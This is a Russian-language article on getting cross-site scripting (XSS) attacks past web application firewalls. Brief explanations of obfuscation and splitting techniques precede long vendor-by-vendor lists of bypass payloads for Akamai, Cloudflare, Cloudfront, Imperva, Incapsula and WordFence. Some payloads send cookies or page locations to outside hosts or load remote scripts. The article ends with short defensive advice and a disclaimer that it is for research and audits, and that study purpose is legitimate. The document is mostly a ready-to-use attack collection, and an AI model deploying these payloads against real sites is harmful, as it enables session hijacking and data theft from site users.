В этом руководстве мы опишем некоторые из техник, которые обычно используются хакерами для обхода фаерволлов веб-приложений (WAF) во время XSS-эксплуатации.
Введение
Web Application Firewall (WAF) являются важнейшими компонентами безопасности, предназначенными для защиты веб-приложений от различных типов атак, включая межсайтовый скриптинг (XSS).
Однако изощренные злоумышленники часто находят способы обойти WAF, особенно когда речь идет о внедрении вредоносных XSS-файлов.
В этой статье мы рассмотрим некоторые техники, используемые для обхода WAF и успешного выполнения XSS.
Понимание XSS и WAF
Межсайтовый скриптинг (XSS) – это тип инъекционной атаки, при которой злоумышленник внедряет вредоносные скрипты в контент, который затем предоставляется пользователям. Эти скрипты могут похищать пользовательские данные, перехватывать сеансы или выполнять несанкционированные действия от имени пользователя.
WAF предназначены для фильтрации и мониторинга HTTP-запросов, блокируя любые вредоносные попытки на основе заранее заданных правил или алгоритмов обучения.
Однако WAF не являются надежными, и злоумышленники постоянно разрабатывают новые методы их обхода.
Распространенные методы обхода WAF
Обфускация
Злоумышленники часто обфусцируют полезную нагрузку XSS, чтобы обойти обнаружение WAF.
Такие приемы, как кодирование полезной нагрузки в различных форматах (например, HTML-сущности, Base64) или разбиение скриптов на комментарии или лишние символы, могут обмануть WAF и заставить его пропустить полезную нагрузку.
<img src=x onerror="/*<![CDATA[*/alert(1)/*]]>*/">
Использование альтернативных обработчиков событий
WAF могут специально фильтровать такие распространенные обработчики событий, как onload или onerror.
Злоумышленники могут использовать менее распространенные обработчики событий, которые могут не входить в набор правил WAF.
<div style="width:expression(alert(1))"></div>
Полезные нагрузки Polyglot :
Polyglot XSS – это полезная нагрузка, которая может быть интерпретирована в нескольких контекстах, что повышает ее шансы обойти WAF.
Такие полезные нагрузки предназначены для выполнения независимо от того, обрабатываются ли они как HTML, JavaScript или другой язык.
<script>/*</script><svg onload=alert(1)>*/
Разделение полезной нагрузки
Разделение полезной нагрузки на несколько частей иногда позволяет избежать обнаружения, поскольку WAF могут неправильно собрать скрипт целиком.
<img src='1' onerror='ja'+'vascript:alert(1)'>
Манипулирование заголовками
Некоторые WAF проверяют определенные HTTP-заголовки на наличие вредоносного содержимого.
Манипулируя заголовками или внедряя их нестандартным образом, злоумышленник может обойти процесс проверки WAF.
GET / HTTP/1.1 Host: victim.com Content-Length: 0 X-Forwarded-For: '><script>alert(1)</script>
А теперь давайте посмотрим на некоторые пейлоады для обхода waf
XSS Akamai
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`> <marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'> <svg><circle><set onbegin=prompt(1) attributename=fill> <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> "%3balert`1`%3b" asd"`> onpointerenter=x=prompt,x`XSS` <x onauxclick=import('//1152848220/')>click <x onauxclick=a=alert,a(domain)>click -@niksthehacker <x onauxclick=import('//1152848220/')>click <x onauxclick=import('//xss/')>click \"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss {{constructor.constructor(alert`1`)()}} javascript:new%20Function`al\ert`1``; https://twitter.com/xhzeem/status/1378316651431612422 https://twitter.com/xhzeem/status/1377992310974218245 <script>Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script> -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet "><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click -@stealthybugs
Cloudflare XSS
<a"/onclick=(confirm)()>Click Here! Dec: <svg onload=prompt%26%230000000040document.domain)> Hex: <svg onload=prompt%26%23x000000028;document.domain)> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> <a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))">X</a> <--%253cimg%20onerror=alert(1)%20src=a%253e --!> <a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'> javascript:{ alert`0` } 1'"><img/src/onerror=.1|alert``> <img src=x onError=import('//1152848220/')> %2sscript%2ualert()%2s/script%2u <svg on onload=(alert)(document.domain)> <img ignored=() src=x onerror=prompt(1)> <svg onx=() onload=(confirm)(1)> “><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; <svg on =i onload=alert(domain) (working) <svg/onload=location/**/='https://your.server/'+document.domain> <svg onx=() onload=window.alert?.()> (working) test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic "onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic "><svg%20onload=alert%26%230000000040"1")> (working)- @IamRenganathan %27%09);%0d%0a%09%09[1].find(alert)// "><img src=1 onmouseleave=print()> - @itsgeekymonk <svg on onload=(alert)(document.domain)> -@zapstiko <svg/on%20onload=alert(1)> (working) -@aufzayed <img/src=x onError="`${x}`;alert(`Ex.Mi`);"> -@ex_mi
Cloudfront XSS
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'> ">'><details/open/ontoggle=confirm('XSS')> 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ "><img src=x onerror=confirm(1);>
Imperva XSS
<x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly) tarun"><x/onafterscriptexecute=confirm%26lpar;)// -@sratarun <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded) <details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> - @xsspayloads <svg onload\r\n=$.globalEval("al"+"ert()");> <bleh/onclick=top[/al/.source+/ert/.source]	``>click Pinaki @0xInfection <sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div"> -@AldenAous <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap
Incapsula XSS
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';> <iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a"> <audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x> <img/src=q onerror='new Function`al\ert`1``'> <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> <svg onload\r\n=$.globalEval("al"+"ert()");> [1].map(alert) or (alert)(1) <"><details/open/ontoggle="jAvAsCrIpT:alert(/xss-by-tarun/)">XXXXX</a> [1].find(confirm) <svg/onload=self[`aler`%2b`t`]`1`> %22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E '-[document.domain].map(alert)-'
WordFence XSS
ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli <meter onmouseover="alert(1)" -@manjith27945363 '">><div><meter onmouseover="alert(1)"</div>" -@manjith27945363 >><marquee loop=1 width=0 onfinish=alert(1)> -@manjith27945363 Wordfence 7.4.2 <a href=javascript:alert(1)> -@brutelogic <a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>
Лучшие практики для защиты
Хотя понимание того, как злоумышленники обходят WAF, очень важно, ИБ должны постоянно обновлять правила WAF, использовать несколько уровней защиты и регулярно проводить оценку безопасности.
- Регулярные обновления: Поддерживайте сигнатуры и правила WAF в актуальном состоянии для защиты от новых и возникающих угроз.
- Глубокая защита: Используйте комбинацию механизмов безопасности (например, проверку ввода, политику безопасности содержимого) наряду с WAF для более эффективной защиты.
- Тестирование безопасности: Регулярно проводите тестирование на проникновение и оценку безопасности, чтобы выявить и устранить все уязвимости, которые могут быть использованы.
Заключение
Обход WAF с помощью XSS нагрузки требует творческого подхода и глубокого понимания как ограничений WAF, так и самого веб-приложения.
Хотя WAF обеспечивают надежную линию защиты, на них не следует полагаться полностью.
Многоуровневый подход к безопасности в сочетании с постоянным мониторингом и тестированием необходим для защиты от этих сложных атак.
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.